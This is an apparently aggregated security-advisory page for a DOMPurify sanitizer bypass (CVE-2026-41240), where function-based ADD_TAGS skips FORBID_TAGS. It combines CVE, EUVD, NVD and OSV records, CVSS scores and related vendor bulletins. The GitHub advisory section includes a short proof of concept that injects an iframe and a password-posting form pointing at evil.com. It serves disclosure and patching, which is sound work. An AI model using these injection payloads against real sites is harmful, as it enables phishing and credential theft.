GHSA-h7mw-gpvr-xq4mPublished

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-41240

Published

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Source published: 23 Apr 2026 14:54:32 UTC
Source modified: 23 Apr 2026 17:21:30 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-25238

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 23, 2026, 2:54:32 PM

dateUpdated: Apr 23, 2026, 5:21:30 PM

22 related source bulletins · separate from aliases

RHSA-2026:27879: Red Hat Security Advisory: OpenShift Virtualization v4.21 Images

CVE-2026-41240

RHSA-2026:27967: Red Hat Security Advisory: OpenShift Virtualization v4.20 Images

CVE-2026-41240

RHSA-2026:34608: Red Hat Security Advisory: Streams for Apache Kafka 2.9.4 release and security update

CVE-2024-29371 · CVE-2025-13465 · CVE-2025-58056 · CVE-2026-1002 · CVE-2026-4800 · CVE-2026-6860 · CVE-2026-23864 · CVE-2026-24281 · CVE-2026-24308 · CVE-2026-27980 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34480 · CVE-2026-39852 · CVE-2026-41240 · CVE-2026-42044 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-44249 · CVE-2026-44573 · CVE-2026-44574 · CVE-2026-44575 · CVE-2026-44577 · CVE-2026-44578 · CVE-2026-44579 · CVE-2026-44893 · CVE-2026-45109 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-50010 · CVE-2026-50559

WID-SEC-W-2026-2892: Oracle Construction and Engineering: Schwachstelle gefährdet Vertraulichkeit und Integrität

CVE-2026-41240

WID-SEC-W-2026-3046: IBM Concert: Mehrere Schwachstellen

CVE-2019-19921 · CVE-2021-23337 · CVE-2024-3651 · CVE-2024-39338 · CVE-2024-45590 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-15599 · CVE-2025-22874 · CVE-2025-47273 · CVE-2025-47907 · CVE-2025-52881 · CVE-2025-53643 · CVE-2025-55184 · CVE-2025-58056 · CVE-2025-58188 · CVE-2025-58189 · CVE-2025-61723 · CVE-2025-61730 · CVE-2025-64649 · CVE-2025-64756 · CVE-2025-67221 · CVE-2025-68121 · CVE-2025-68146 · CVE-2026-0540 · CVE-2026-2327 · CVE-2026-23490 · CVE-2026-23897 · CVE-2026-2391 · CVE-2026-23949 · CVE-2026-24486 · CVE-2026-25528 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26019 · CVE-2026-26996 · CVE-2026-27142 · CVE-2026-27212 · CVE-2026-27699 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29181 · CVE-2026-2950 · CVE-2026-31808 · CVE-2026-31900 · CVE-2026-32274 · CVE-2026-32288 · CVE-2026-32597 · CVE-2026-32630 · CVE-2026-32887 · CVE-2026-32952 · CVE-2026-33186 · CVE-2026-33532 · CVE-2026-33750 · CVE-2026-33814 · CVE-2026-33816 · CVE-2026-33916 · CVE-2026-34043 · CVE-2026-34073 · CVE-2026-34077 · CVE-2026-3520 · CVE-2026-35469 · CVE-2026-35515 · CVE-2026-3627 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39892 · CVE-2026-39984 · CVE-2026-40175 · CVE-2026-40179 · CVE-2026-40181 · CVE-2026-40190 · CVE-2026-40347 · CVE-2026-41066 · CVE-2026-41182 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-41324 · CVE-2026-41425 · CVE-2026-41481 · CVE-2026-41488 · CVE-2026-41602 · CVE-2026-41636 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42561 · CVE-2026-42577 · CVE-2026-43870 · CVE-2026-44405 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44728 · CVE-2026-4539 · CVE-2026-45409 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-4800 · CVE-2026-4923 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-8723

RHSA-2026:27875: Red Hat Security Advisory: OpenShift Virtualization v4.18 Images

CVE-2026-41240

RHSA-2026:36107: Red Hat Security Advisory: OpenShift Virtualization v4.15 Images

CVE-2026-41240 · CVE-2026-42044

RHSA-2026:27872: Red Hat Security Advisory: OpenShift Virtualization v4.19 Images

CVE-2026-41240

RHSA-2026:22619: Red Hat Security Advisory: Red Hat Data Grid 8.6.1 security update

CVE-2026-4800 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34478 · CVE-2026-34480 · CVE-2026-34481 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

openSUSE-SU-2026:10888-1: argocd-cli-3.4.3-1.1 on GA media

CVE-2026-41240

RHSA-2026:24977: Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI

CVE-2025-14813 · CVE-2025-48956 · CVE-2025-61726 · CVE-2025-62718 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-1462 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-23490 · CVE-2026-24747 · CVE-2026-25048 · CVE-2026-25960 · CVE-2026-27489 · CVE-2026-27893 · CVE-2026-28500 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-31958 · CVE-2026-32280 · CVE-2026-32597 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-34986 · CVE-2026-34993 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

RHSA-2026:86618: Red Hat Security Advisory: New container image: rhceph-9.2

CVE-2023-46159 · CVE-2024-47866 · CVE-2024-48916 · CVE-2024-55565 · CVE-2025-12816 · CVE-2025-15599 · CVE-2025-26791 · CVE-2025-30156 · CVE-2025-50181 · CVE-2025-50182 · CVE-2025-58754 · CVE-2025-59343 · CVE-2025-62718 · CVE-2025-66030 · CVE-2025-66035 · CVE-2025-66412 · CVE-2025-69873 · CVE-2026-0540 · CVE-2026-21441 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-27970 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33672 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39865 · CVE-2026-40175 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-42033 · CVE-2026-42034 · CVE-2026-42035 · CVE-2026-42036 · CVE-2026-42037 · CVE-2026-42038 · CVE-2026-42039 · CVE-2026-42040 · CVE-2026-42041 · CVE-2026-42042 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-50152 · CVE-2026-58224

RHSA-2026:34160: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

CVE-2026-6322 · CVE-2026-33154 · CVE-2026-41240 · CVE-2026-42035 · CVE-2026-42784 · CVE-2026-44293 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44488 · CVE-2026-44495 · CVE-2026-48526

WID-SEC-W-2026-1407: IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen

CVE-2026-26013 · CVE-2026-27142 · CVE-2026-28277 · CVE-2026-28684 · CVE-2026-32288 · CVE-2026-33151 · CVE-2026-33349 · CVE-2026-33532 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33916 · CVE-2026-34601 · CVE-2026-35469 · CVE-2026-39406 · CVE-2026-39407 · CVE-2026-39408 · CVE-2026-39409 · CVE-2026-39410 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40347 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-4923 · CVE-2026-4926

RHSA-2026:36108: Red Hat Security Advisory: OpenShift Virtualization v4.13 Images

CVE-2026-41240 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495

RHSA-2026:59360: Red Hat Security Advisory: Apicurio Registry (container images) release and security update [ 3.3.1 GA ]

CVE-2026-12975 · CVE-2026-12992 · CVE-2026-12993 · CVE-2026-41240 · CVE-2026-44496 · CVE-2026-49978

RHSA-2026:28010: Red Hat Security Advisory: Red Hat build of Cryostat security update

CVE-2025-48431 · CVE-2026-9277 · CVE-2026-32281 · CVE-2026-41240 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-43869

RHSA-2026:21338: Red Hat Security Advisory: Red Hat Developer Hub 1.8.7 release.

CVE-2026-6321 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-41674 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:16476: Red Hat Security Advisory: Kiali 1.73.30 for Red Hat OpenShift Service Mesh 2.6

CVE-2026-32280 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043

RHSA-2026:27944: Red Hat Security Advisory: OpenShift Virtualization v4.14 Images

CVE-2026-41240 · CVE-2026-44495

RHSA-2026:21772: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.

CVE-2025-14813 · CVE-2025-68121 · CVE-2026-0636 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-1605 · CVE-2026-2229 · CVE-2026-2327 · CVE-2026-5588 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32305 · CVE-2026-33252 · CVE-2026-33810 · CVE-2026-34742 · CVE-2026-35051 · CVE-2026-39858 · CVE-2026-40477 · CVE-2026-40478 · CVE-2026-40611 · CVE-2026-40895 · CVE-2026-40912 · CVE-2026-40972 · CVE-2026-40973 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

RHSA-2026:28001: Red Hat Security Advisory: OpenShift Virtualization v4.17 Images

CVE-2026-41240

Source published: Apr 23, 2026, 2:54:32 PM (timezone not stated)
Source modified: Apr 23, 2026, 5:21:30 PM (timezone not stated)
Observed here: 28 Oct 2026 05:07:19 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-41240

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-79 · CWE-183

Original publisher date fields

published: 2026-04-23T16:16:26.710

lastModified: 2026-10-26T21:10:00.170

1 source CPE criteria · context only

cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 23 Apr 2026 16:16:26 UTC
Source modified: 26 Oct 2026 21:10:00 UTC
Observed here: 27 Oct 2026 10:10:07 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-h7mw-gpvr-xq4m

Published

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef

Source published: 22 Apr 2026 17:34:17 UTC
Source modified: 10 Sep 2026 03:50:44 UTC
Observed here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE